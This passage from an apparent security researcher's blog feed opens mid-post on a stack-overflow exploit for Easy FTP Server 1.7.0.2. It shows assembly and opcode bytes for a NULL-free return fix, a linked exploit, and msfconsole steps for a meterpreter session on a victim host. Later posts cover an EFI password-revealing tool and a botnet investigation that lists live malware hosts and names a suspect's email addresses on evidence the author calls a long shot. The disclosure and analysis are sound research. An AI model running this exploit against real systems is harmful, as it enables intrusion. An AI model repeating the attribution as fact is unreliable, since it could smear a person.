<p>I&#8217;m a nerd, but I don&#8217;t enjoy doing x86 binary in my head so I enlisted gcc &amp; objdump to find the hex values required for such a <strong>fixRet</strong> operation.  (It took me a few minutes to <a href="https://tegosecurity.com/etc/return_overwrite/objdump_osx.txt" target="_blank">set up objdump on OS X</a>).  I wrote a quick C program, making sure to tell gcc exactly what assembly I wanted in my output.</p>
<p>Excerpt from the C program (<a href="https://tegosecurity.com/etc/return_overwrite/RCE_easy_ftp_server_1.7.0.2.c" target="_blank">download the complete version</a>):</p>
<pre>#include &lt;stdlib.h&gt;

int main (void)
{    
 /* clear out 3 registers */
 __asm__("xor %eax, %eax");
 __asm__("xor %ebx, %ebx");
 __asm__("xor %ecx, %ecx");

 /* move 0x009afe64 into EAX without using NULLs */
 __asm__("mov $0xAA3054CE, %eax");
 __asm__("mov $0xAAAAAAAA, %ebx");
 __asm__("xor %ebx, %eax");

 /* write shellcode into ret's address */
 __asm__("mov $0xAEE0E45F, %ecx"); // meterpreter_bind_tcp
 __asm__("mov %ecx, (%eax)");
}</pre>
<p>Remember when I said that I could write past the NULL in the return address and there would be more on this later?  Well, I could write <em>after</em> the NULL in <strong>ret</strong>, but could not have any NULLs <em>before</em> said address.  My guess is that the logic behind the vulnerable CWD command checks for NULLs in its buffer after the entire buffer has been written, rather than on the fly.  Such logic would allow us to write NULLs over the return address (because the function would not think to look there), but wouldn&#8217;t allow us to write NULLs prior to the return address (because the vulnerable function would error out and the thread would be killed).</p>
<p>The above C program does what we need it to do without using any NULLs.  I got around this by zeroing the registers with XOR and having the exploited process &#8220;fix&#8221; the address of <strong>ret</strong> (by simply XORing it with all A&#8217;s).  The <strong>ret</strong> value lives at 0x009AFE64 = 0xAAAAAAAA (XOR) 0xAA3054CE.</p>
<p>I translated this into hex values for our attack string (gcc compiles &amp; assembles, objdump disassembles):</p>
<pre>gcc -O0 RCE_easy_ftp_server_1.7.0.2.c -o fix_ret
objdump -d fix_ret</pre>
<p>After running the program through gcc and objdump, I got my hex values (look at the main section):</p>
<pre>31 c0                    xor    %eax,%eax
31 db                    xor    %ebx,%ebx
31 c9                    xor    %ecx,%ecx
b8 ce 54 30 aa           mov    $0xaa3054ce,%eax
bb aa aa aa aa           mov    $0xaaaaaaaa,%ebx
31 d8                    xor    %ebx,%eax
b9 5f e4 e0 ae           mov    $0xaee0e45f,%ecx
89 08                    mov    %ecx,(%eax)</pre>
<p>Now we have <strong>fixRet</strong>, we can easily calculate our nopsled and of course we know <strong>ret</strong> and our payload.  We&#8217;re done!</p>
<p>I could explain more, but it would probably make more sense to get the code and attempt exploitation yourself.</p>
<p><a href="https://tegosecurity.com/etc/return_overwrite/RCE_easy_ftp_server_1.7.0.2.zip" target="_blank"><strong>Get  my exploit (RCE_easy_ftp_server_1.7.0.2.py)</strong></a></p>
<p>I included everything necessary for injecting a meterpreter/bind_tcp payload and a shell_bind_tcp payload, both operating over port 4444.  The bind_tcp payload items are commented out.</p>
<p>Using the exploit (assuming meterpreter/bind_tcp payload):</p>
<pre>(start Easy FTP Server 1.7.0.2 on victim machine)
./RCE_easy_ftp_server_1.7.0.2.py -t (victim IP) -p 21
msfconsole
use multi/handler
set PAYLOAD windows/meterpreter/bind_tcp
set RHOST (victim IP)
exploit</pre>
<p>After the meterpreter dll is injected, you should have a working session :P</p>
<p>As always, comments are appreciated.  <del>If I have time I&#8217;ll make this into a proper Metasploit module&#8230; none of this gcc / objdump silliness.</del> <em><a href="../2010/04/19/metasploit-plugin-for-easyftp-server-exploit/" target="_blank">I did find time to rewrite the exploit</a>; jduck kindly fixed up the fixRet function such that it is dynamically generated by the <a href="http://www.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb" target="_blank">module</a>.</em></p>
<br /> Tagged: <a href='http://paulmakowski.wordpress.com/tag/address/'>address</a>, <a href='http://paulmakowski.wordpress.com/tag/address-overwrite/'>address overwrite</a>, <a href='http://paulmakowski.wordpress.com/tag/buffer/'>buffer</a>, <a href='http://paulmakowski.wordpress.com/tag/buffer-overflow/'>buffer overflow</a>, <a href='http://paulmakowski.wordpress.com/tag/hacking/'>hacking</a>, <a href='http://paulmakowski.wordpress.com/tag/meterpreter/'>meterpreter</a>, <a href='http://paulmakowski.wordpress.com/tag/overflow/'>overflow</a>, <a href='http://paulmakowski.wordpress.com/tag/overwrite/'>overwrite</a>, <a href='http://paulmakowski.wordpress.com/tag/payload/'>payload</a>, <a href='http://paulmakowski.wordpress.com/tag/shellcode/'>shellcode</a>, <a href='http://paulmakowski.wordpress.com/tag/stack/'>stack</a>, <a href='http://paulmakowski.wordpress.com/tag/strcpy/'>strcpy</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/paulmakowski.wordpress.com/238/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/paulmakowski.wordpress.com/238/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/paulmakowski.wordpress.com/238/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/paulmakowski.wordpress.com/238/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/paulmakowski.wordpress.com/238/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/paulmakowski.wordpress.com/238/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/paulmakowski.wordpress.com/238/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/paulmakowski.wordpress.com/238/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/paulmakowski.wordpress.com/238/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/paulmakowski.wordpress.com/238/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/paulmakowski.wordpress.com/238/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/paulmakowski.wordpress.com/238/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/paulmakowski.wordpress.com/238/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/paulmakowski.wordpress.com/238/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=paulmakowski.wordpress.com&amp;blog=9037365&amp;post=238&amp;subd=paulmakowski&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/2d19687808fb542a2b41f928dac0017f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">my.hndl</media:title>
		</media:content>

		<media:content url="http://paulmakowski.files.wordpress.com/2010/02/finding_afterretsize.png" medium="image">
			<media:title type="html">finding_afterRetSize</media:title>
		</media:content>
	</item>
		<item>
		<title>efipw v0.2b Released</title>
		<link>http://paulmakowski.wordpress.com/2010/02/11/efipw-v0-2b-released/</link>
		<comments>http://paulmakowski.wordpress.com/2010/02/11/efipw-v0-2b-released/#comments</comments>
		<pubDate>Fri, 12 Feb 2010 04:52:48 +0000</pubDate>
		<dc:creator>Paul Makowski</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[decode]]></category>
		<category><![CDATA[decrypt]]></category>
		<category><![CDATA[efi]]></category>
		<category><![CDATA[efipw]]></category>
		<category><![CDATA[encode]]></category>
		<category><![CDATA[encrypt]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[password]]></category>

		<guid isPermaLink="false">http://paulmakowski.wordpress.com/?p=229</guid>
		<description><![CDATA[Small update.  A few changes since v0.2: if new password is set and mode is not, default mode to &#8220;command&#8221; (this will cause password to be enforced rather than ignored) clarified usage added &#8216;-c&#8217; option If you were getting a message like this: sudo: ./efipw_0.2b.py: command not found it&#8217;s because you hadn&#8217;t flagged the file [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=paulmakowski.wordpress.com&amp;blog=9037365&amp;post=229&amp;subd=paulmakowski&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Small update.  A few changes since v0.2:</p>
<ul>
<li>if new password is set and mode is not, default mode to &#8220;command&#8221; (this will cause password to be enforced rather than ignored)</li>
<li>clarified usage</li>
<li>added &#8216;-c&#8217; option</li>
</ul>
<p>If you were getting a message like this:</p>
<pre>sudo: ./efipw_0.2b.py: command not found
</pre>
<p>it&#8217;s because you hadn&#8217;t flagged the file as executable.  I neglected to mention this in the instructions before, but it&#8217;s in there now.  If you&#8217;re getting the above, just run:</p>
<pre>chmod +x ./efipw*
</pre>
<p>&#8230;assuming efipw is in your working directory, of course.</p>
<p>I&#8217;ve also added a &#8216;-c&#8217; option that disables the EFI password properly (or at least the way Apple does it).  When an EFI password is cleared with Apple&#8217;s GUI utility, &#8216;none&#8217; is written to nvram as the password and the &#8216;none&#8217; mode is selected.  Rather than forcing people to specify &#8216;none&#8217; for both fields themselves, users can just do:</p>
<pre>sudo ./efipw* -c
</pre>
<p>to disable the EFI password properly.</p>
<p><strong><a href="http://code.google.com/p/efipw/downloads/list" target="_blank">Get efipw</a></strong></p>
<p>Comments/suggestions/bugs welcome.</p>
<br /> Tagged: <a href='http://paulmakowski.wordpress.com/tag/apple/'>apple</a>, <a href='http://paulmakowski.wordpress.com/tag/decode/'>decode</a>, <a href='http://paulmakowski.wordpress.com/tag/decrypt/'>decrypt</a>, <a href='http://paulmakowski.wordpress.com/tag/efi/'>efi</a>, <a href='http://paulmakowski.wordpress.com/tag/efipw/'>efipw</a>, <a href='http://paulmakowski.wordpress.com/tag/encode/'>encode</a>, <a href='http://paulmakowski.wordpress.com/tag/encrypt/'>encrypt</a>, <a href='http://paulmakowski.wordpress.com/tag/hack/'>hack</a>, <a href='http://paulmakowski.wordpress.com/tag/password/'>password</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/paulmakowski.wordpress.com/229/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/paulmakowski.wordpress.com/229/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/paulmakowski.wordpress.com/229/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/paulmakowski.wordpress.com/229/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/paulmakowski.wordpress.com/229/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/paulmakowski.wordpress.com/229/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/paulmakowski.wordpress.com/229/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/paulmakowski.wordpress.com/229/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/paulmakowski.wordpress.com/229/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/paulmakowski.wordpress.com/229/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/paulmakowski.wordpress.com/229/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/paulmakowski.wordpress.com/229/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/paulmakowski.wordpress.com/229/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/paulmakowski.wordpress.com/229/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=paulmakowski.wordpress.com&amp;blog=9037365&amp;post=229&amp;subd=paulmakowski&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://paulmakowski.wordpress.com/2010/02/11/efipw-v0-2b-released/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/2d19687808fb542a2b41f928dac0017f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">my.hndl</media:title>
		</media:content>
	</item>
		<item>
		<title>efipw v0.2 Released</title>
		<link>http://paulmakowski.wordpress.com/2010/01/30/efipw-v0-2-released/</link>
		<comments>http://paulmakowski.wordpress.com/2010/01/30/efipw-v0-2-released/#comments</comments>
		<pubDate>Sun, 31 Jan 2010 02:12:18 +0000</pubDate>
		<dc:creator>Paul Makowski</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[efi]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[open firmware]]></category>
		<category><![CDATA[password]]></category>

		<guid isPermaLink="false">http://paulmakowski.wordpress.com/?p=214</guid>
		<description><![CDATA[I released v0.2 of my efipw tool originally discussed here.  It&#8217;s a complete rewrite in Python for a number of reasons (manageability, simplicity, and v0.1 stopped working on Snow Leopard at some point). # lolCrypt: Apple's lolzy encryption function def lolCrypt(input): output = "" for i in range(0, len(input)): output += (chr(ord(input[i]) ^ 170)) return [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=paulmakowski.wordpress.com&amp;blog=9037365&amp;post=214&amp;subd=paulmakowski&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I released v0.2 of my <strong><a href="http://code.google.com/p/efipw/" target="_blank">efipw</a></strong> tool <a href="http://paulmakowski.wordpress.com/2009/03/30/fun-with-apple-efi-firmware-passwords/" target="_blank">originally discussed here</a>.  It&#8217;s a complete rewrite in Python for a number of reasons (manageability, simplicity, and v0.1 stopped working on Snow Leopard at some point).</p>
<pre># lolCrypt: Apple's lolzy encryption function
def lolCrypt(input):
 output = ""
 for i in range(0, len(input)): output += (chr(ord(input[i]) ^ 170))
 return output</pre>
<p><strong>efipw</strong> is a tool a I wrote for two reasons: pentests &amp; lab deployments.  Apple doesn&#8217;t provide administrators with a command line tool for changing EFI (a.k.a. Open Firmware) passwords &#8211; this is where <strong>efipw</strong> comes in.  These passwords may be employed to require physical access to boot off non-blessed drives, NetBoot shares, etc.  <a href="http://support.apple.com/kb/HT1352" target="_blank">More information here</a>.  <strong>efipw</strong> allows root to set and reveal EFI passwords as well as set EFI modes.</p>
<p><strong><a href="http://code.google.com/p/efipw/downloads/list" target="_blank">Get efipw</a></strong></p>
<pre>usage: <strong>sudo ./efipw* -h</strong>
</pre>
<p>While doing some reverse engineering of Apple&#8217;s Open Firmware Password GUI utility, I found something I thought was interesting.  Depending on the length of the chosen password, several things may happen:</p>
<pre>length = 0: not allowed (error given)
length = [1-48]: no error, password set correctly
length = [49-255]: fail silently (password not set and no error given)
length = 256: Open Firmware Password utility crashes
length &gt; 256: a really unhelpful error is given, password not set
</pre>
<p>Isn&#8217;t 48 kind of an odd cutting off point?  I can understand 256 and the obvious off by one error going on here.  I assume whats being stored in nvram is ASCII-encoded.  If that&#8217;s true, then each password character consumes three ASCII characters (a % followed by two hex values).  So if the maximum password length that actually works is 48, that means nvram stores at most 48*3 = 144 ASCII values in that field in nvram, which is still kind of an odd number in my opinion.  If you have any ideas, comment below.</p>
<br /> Tagged: <a href='http://paulmakowski.wordpress.com/tag/apple/'>apple</a>, <a href='http://paulmakowski.wordpress.com/tag/efi/'>efi</a>, <a href='http://paulmakowski.wordpress.com/tag/hack/'>hack</a>, <a href='http://paulmakowski.wordpress.com/tag/open-firmware/'>open firmware</a>, <a href='http://paulmakowski.wordpress.com/tag/password/'>password</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/paulmakowski.wordpress.com/214/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/paulmakowski.wordpress.com/214/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/paulmakowski.wordpress.com/214/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/paulmakowski.wordpress.com/214/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/paulmakowski.wordpress.com/214/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/paulmakowski.wordpress.com/214/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/paulmakowski.wordpress.com/214/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/paulmakowski.wordpress.com/214/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/paulmakowski.wordpress.com/214/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/paulmakowski.wordpress.com/214/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/paulmakowski.wordpress.com/214/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/paulmakowski.wordpress.com/214/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/paulmakowski.wordpress.com/214/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/paulmakowski.wordpress.com/214/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=paulmakowski.wordpress.com&amp;blog=9037365&amp;post=214&amp;subd=paulmakowski&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://paulmakowski.wordpress.com/2010/01/30/efipw-v0-2-released/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/2d19687808fb542a2b41f928dac0017f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">my.hndl</media:title>
		</media:content>
	</item>
		<item>
		<title>From pass_file to Script Kiddies</title>
		<link>http://paulmakowski.wordpress.com/2009/09/30/from-pass_file-to-script-kiddies/</link>
		<comments>http://paulmakowski.wordpress.com/2009/09/30/from-pass_file-to-script-kiddies/#comments</comments>
		<pubDate>Wed, 30 Sep 2009 23:27:15 +0000</pubDate>
		<dc:creator>Paul Makowski</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[botnet]]></category>
		<category><![CDATA[brute force]]></category>
		<category><![CDATA[c&c]]></category>
		<category><![CDATA[dictionary]]></category>
		<category><![CDATA[IRC]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[scanner]]></category>
		<category><![CDATA[script kiddies]]></category>

		<guid isPermaLink="false">http://paulmakowski.wordpress.com/?p=170</guid>
		<description><![CDATA[This is a follow-up to my previous post.  For background on this post, please read that post. The botnet master behind the attacks described in the last post could be*: Romanian trancetears@yahoo.com, cezar179@yahoo.com and/or hotzu@hotzu.us Frequenting IRC (Undernet): Diemen.NL.EU.Undernet.org:6667 Controlling a small botnet with IRC nickname fSs in channel #19 Talking in these channels: #ls, [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=paulmakowski.wordpress.com&amp;blog=9037365&amp;post=170&amp;subd=paulmakowski&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><em>This is a follow-up to my <a href="http://paulmakowski.wordpress.com/2009/09/28/hacking-sshd-for-a-pass_file/" target="_blank">previous post</a>.  For background on this post, please read that post.</em><br />
<strong> </strong></p>
<h3>The botnet master behind the attacks described in the <a href="http://paulmakowski.wordpress.com/2009/09/28/hacking-sshd-for-a-pass_file/" target="_blank">last post</a> could be*:</h3>
<div id="attachment_191" class="wp-caption alignleft" style="width: 138px"><a href="http://www.everaldo.com/crystal/?action=license" target="_blank"><img class="size-full wp-image-191" title="personal" src="http://paulmakowski.files.wordpress.com/2009/09/personal.png?w=600" alt="Image © Crystal Project"   /></a><p class="wp-caption-text">Image © Crystal Project</p></div>
<ul>
<li>Romanian</li>
<li><strong>trancetears@yahoo.com,</strong><strong> cezar179@yahoo.com</strong><strong> </strong>and/or<strong> </strong><strong>hotzu@hotzu.us</strong></li>
<li>Frequenting IRC (Undernet): <em>Diemen.NL.EU.Undernet.org:6667</em></li>
<li>Controlling a small botnet with IRC nickname <strong>fSs</strong><em> </em> in channel <em>#19</em></li>
<li>Talking in these channels: <em>#ls, #Work, #LinuxTeam, #Linux-Team, #Catalin, #112, #juno </em>and<em> #master</em></li>
<li>Using small variations of the word <em>&#8220;tears&#8221;</em> for his/her handles and the handles of his/her bots</li>
<li>(Probably) proxying his/her IRC connection through compromised hosts</li>
<li>Using pre-packaged tools</li>
</ul>
<p><em>*I don&#8217;t have any evidence indicating that this specific individual is the one attacking me (in fact it&#8217;s kind of a long shot), but I do have evidence that this individual is using a toolkit very similar to the one being used against me and that this individual is operating a botnet.  You sacrifice privacy when you choose to run a botnet.</em></p>
<p style="text-align:center;">
<div id="attachment_193" class="wp-caption aligncenter" style="width: 582px"><img class="size-full wp-image-193    " title="1337" src="http://paulmakowski.files.wordpress.com/2009/09/1337.png?w=600" alt="script kiddie magic"   /><p class="wp-caption-text">this is how you know they&#39;re legit.  they have skulls and knives in their banners.</p></div>
<p><em><br />
</em></p>
<h3>Gathering the info:</h3>
<p>I&#8217;ve been running my modified sshd for a few days now, and as previously mentioned, I have a fairly lengthy <a href="https://tegosecurity.com/etc/sshd_attempts.txt" target="_blank">log</a> going already.</p>
<p>My original purpose for collecting full usernames &amp; passwords tried against my server was to use those captured credentials to determine whether this dictionary attack was the work of a single group or the work of multiple groups.  I set out determine which using the following observations:</p>
<ul>
<li>If there is a <strong>single group</strong> behind these attacks, it would make sense that they would synchronize this work amongst the attacking IPs, allowing the attack to evade simple IDS rules and avoid duplication of effort.</li>
<li>If there are <strong>multiple parties</strong> behind these attacks, it would make sense that the same username/password combinations would be tried by different hosts, pointing to a lack of synchronization.</li>
</ul>
<p>Let&#8217;s take a look at first two IPs in <a href="https://tegosecurity.com/etc/sshd_attempts.txt" target="_blank">these logs</a>:</p>
<ul>
<li>For about 8 minutes from 09/27/09 05:05:47 AM until 09/27/09 05:13:38 AM PST, <span style="text-decoration:underline;">85.62.95.198</span> tried a list of 86 username / password combinations.</li>
<li>For about 2 minutes from 09/27/09 07:06:10 AM until 09/27/09 07:08:03 AM PST, <span style="text-decoration:underline;">190.82.64.149</span> tried <strong>the exact same username / password combinations in the exact same order.</strong></li>
<li><span style="text-decoration:underline;">85.62.95.198</span> made a request every 7 seconds and <span style="text-decoration:underline;">190.82.64.149</span> made a request every 2 seconds, <strong>with very small clock drift.</strong></li>
<li>Using two hosts was almost certainly a duplication of effort (that is unless they were trying to determine the rate at which my ssh daemon would process logins&#8230;in which case they were just sloppy).</li>
<li>Given the even spread of the attempts and the identical dictionaries, it&#8217;s not unreasonable to conclude that these two hosts are running the same attack software with a wait parameter changed.</li>
</ul>
<p>So: one group (no synchronization of dictionaries between bots), or multiple groups (both using a common dictionary)?</p>
<p>In order to determine which, I needed more information on the toolkit in use here.  <strong> </strong></p>
<hr /><strong><span style="color:#ff0000;">Warning: the URL below should not be visited without taking precautions.</span> </strong>I use <a href="http://noscript.net/" target="_blank">NoScript</a> inside of a VM when looking at sites I know to be malicious. Whenever possible, <strong>I have notified the providers hosting this malicious software and have reported whatever is applicable to <a href="http://www.google.com/safebrowsing/report_badware/" target="_blank">Google Safe Browsing</a>.</strong></p>
<hr /><strong>I am a fan of full disclosure; </strong><strong>I will be listing sites that are hosting malicious toolkits.  Please do not <a href="http://www.malwareurl.com/listing-urls.php" target="_blank">make</a> the <a href="http://blog.scansafe.com/journal/2009/8/25/potent-trojan-cocktail-sql-injection-may-be-regionally-targe.html" target="_blank">mistake</a> that blackhats find <a href="http://www.offensivecomputing.net/" target="_blank">toolkits</a> by reading whitehat blogs.  They already know about and use these tools or could easily find them with simple Google searches (as I did).  Exposure to real world attacks and toolkits is an important learning tool for anyone on the defensive.  Not talking about them doesn&#8217;t help anyone.</strong></p>
<hr /><strong> </strong></p>
<p style="text-align:center;">
<div id="attachment_195" class="wp-caption aligncenter" style="width: 456px"><img class="size-full wp-image-195   " title="1337_2" src="http://paulmakowski.files.wordpress.com/2009/09/1337_21.png?w=600" alt="blah"   /><p class="wp-caption-text">yeah - this is the entire script.</p></div>
<p>I took the odd-looking username/password combinations and ran some Google searches.  The following is what I found with my first search.  I&#8217;ve found much more than this, including more sophisticated attacks and full output (screenshots, keys pressed) from a keylogger, but going into that would be too much material for this post.</p>
<blockquote><p><strong>search term:</strong> <a href="http://www.google.com/search?q=mythtv+vivafood" target="_blank">mythtv vivafood</a><br />
<strong>initial result:</strong> <a href="http://www.f0rbidden.home.ro/pass_file" target="_blank">pass_file</a><br />
<strong>host:</strong> <a href="http://www.f0rbidden.home.ro/" target="_blank">f0rbidden.home.ro</a><br />
<strong>notes:</strong> payload staging server; activity as recently as Sep. 13th<br />
<strong>interesting files found on host:</strong></p>
<p><em>boo.tgz</em>:</p>
<ul>
<li>Linux IRC bot</li>
<li>c&amp;c information</li>
</ul>
<p><em>boodarwin.tgz</em>:</p>
<ul>
<li>darwin: PPC Mach-O (OS X) IRC bot</li>
<li>freebsd: FreeBSD IRC bot</li>
<li>sendmail: Unix IRC bot</li>
<li><a href="http://en.wikipedia.org/wiki/Pico_%28text_editor%29" target="_blank">pico</a> (trojaned? are the attackers unfamiliar with vi?)</li>
<li>help files and configuration for <a href="http://www.energymech.net/" target="_blank">a popular botnet control program</a></li>
<li>&#8220;random&#8221; IRC nicks, comments, away messages, insults, etc.</li>
</ul>
<p><em>gosh.tgz</em>:</p>
<ul>
<li>a bunch of things we&#8217;ve seen already</li>
<li>ssh-scan, ss: ssh brute-forcer &amp; tool; based on libssh-0.1</li>
<li>pscan2: a port scanner</li>
<li>a, go.sh: ssh-scan supporting scripts</li>
<li>mfu.txt: a list of IPs serving SSH(?)</li>
<li>vuln.txt: a file to hold successfully brute-forced hosts</li>
<li>gen-pass.sh: combines a user list &amp; password list into a single list</li>
<li>secure.sh: checks if user is root, moves <em>mail </em>to<em> s8</em> if user is root</li>
</ul>
<p><a href="http://www.psybnc.at/about.html" target="_blank"><em>psyBNC-2.3.2-7.tar.gz &amp; psyDarwin.tgz</em></a>:</p>
<ul>
<li>IRC <a href="http://en.wikipedia.org/wiki/BNC_%28software%29" target="_blank">bouncers (BNC)</a>.  Allows the attackers to proxy their IRC connections through infected hosts.</li>
</ul>
<p><em>sniff.tgz</em>:</p>
<ul>
<li>a bunch of things we&#8217;ve seen already</li>
<li>the bot master&#8217;s email address (found inside sniff/install)</li>
</ul>
<p><em>liviu.tar (partially corrupted)</em>:</p>
<ul>
<li>a bunch of things we&#8217;ve seen already</li>
<li>a PHP shell</li>
<li>ps: trojan horse scanner</li>
</ul>
</blockquote>
<p><em>gosh.tgz</em> is a Romanian(?) kit made a group identified as &#8220;TASE&#8221;.<br />
<em>scam</em>, a file inside <em>gosh.tgz</em>, will email the following to <strong>hotzu@hotzu.us</strong>:</p>
<ul>
<li>output from <em>/sbin/ifpconfig</em> (IP address of bot)</li>
<li>output from <em>uptime</em> (reliability of bot)</li>
<li><em>/etc/issue</em> (bot&#8217;s Linux distribution)</li>
<li><em>/etc/passwd</em> (valid users on bot)</li>
<li>output from <em>id</em> (current user)</li>
<li>output from <em>df -h</em> (disk space available on bot)</li>
<li>output from <em>pwd</em> (working directory)</li>
<li>current list of successfully brute-forced hosts</li>
</ul>
<p>As previously stated, I&#8217;m not going to dissect the other malware staging servers I found as this would take too much time/space.  I will, however, point out a few highlights that resulted from some simple Google searching with the usernames / passwords tried against me (you&#8217;re going to have to find these yourself):</p>
<ul>
<li>a complete PayPal <a href="https://tegosecurity.com/images/ssh_attackers/paypal1.jpg" target="_blank">phishing package</a> (<a href="https://tegosecurity.com/images/ssh_attackers/paypal2.png" target="_blank">source code included</a>)</li>
<li>output from a keylogger (screenshots, captured credentials)</li>
<li>possible source code for the ssh brute-force utility</li>
<li>a rather <a href="http://www.iu.hio.no/~haugerud/osa/oppgaver/" target="_blank">odd place</a> for a <a href="http://www.iu.hio.no/~haugerud/osa/oppgaver/pass_file" target="_blank">pass_file</a></li>
<li>privilege escalation attempts (most likely successful, judging by the timestamps); very similar tools appear to be used post-escalation</li>
<li>Conficker <a href="http://www.fortiguard.com/encyclopedia/virus/w32_conficker.b!worm.html" target="_blank">uses some of the same passwords</a> that have been used against me</li>
<li>valid* logins to SSH servers on compromised hosts</li>
<li>the same toolkit (or slight variations thereof) on about a dozen hosts (hosting providers have been notified)</li>
</ul>
<p><em>*Obviously I didn&#8217;t verify this.</em></p>
<p>At this point I know a lot about the tools most likely being run against me.  But what about some more info on the attackers?  IRC information was included in some malware kits&#8230;</p>
<p>I decided to look up the OP and see what other channels (s)he frequents.  Almost all were Romanian chat channels, but <em>#a1b2c3</em> looked interesting:</p>
<div id="attachment_197" class="wp-caption aligncenter" style="width: 610px"><img class="size-full wp-image-197  " title="irc1" src="http://paulmakowski.files.wordpress.com/2009/09/irc11.png?w=600&#038;h=115" alt="very lonely botnet" width="600" height="115" /><p class="wp-caption-text">a very lonely c&amp;c channel.</p></div>
<p>&#8230;as did #19:</p>
<div id="attachment_198" class="wp-caption aligncenter" style="width: 610px"><img class="size-full wp-image-198" title="irc2" src="http://paulmakowski.files.wordpress.com/2009/09/irc2.png?w=600&#038;h=518" alt="looks like (s)he figured me out.  no more trolling c&amp;c channels for me." width="600" height="518" /><p class="wp-caption-text">looks like (s)he figured me out.  no more trolling c&amp;c channels for me.</p></div>
<p>The <em>#19</em> log is particularly interesting because you can clearly see <strong>fSs</strong> issue commands and expect a response.  After I failed to respond correctly, was he actually asking me something or is all of this part of the &#8220;random&#8221; request/response/nickname/away message lists mentioned previously?  Is everyone just reading from a script but me?</p>
<p>The command &#8220;<a href="http://www.energymech.net/docs/command/shit.html" target="_blank">shit</a>&#8221; is an EnergyMech command.   He told all his bots to ban me (shitlist me) for the next 999 days even if one of them tries to unban me.  His reason for doing this is &#8220;boo&#8221;.</p>
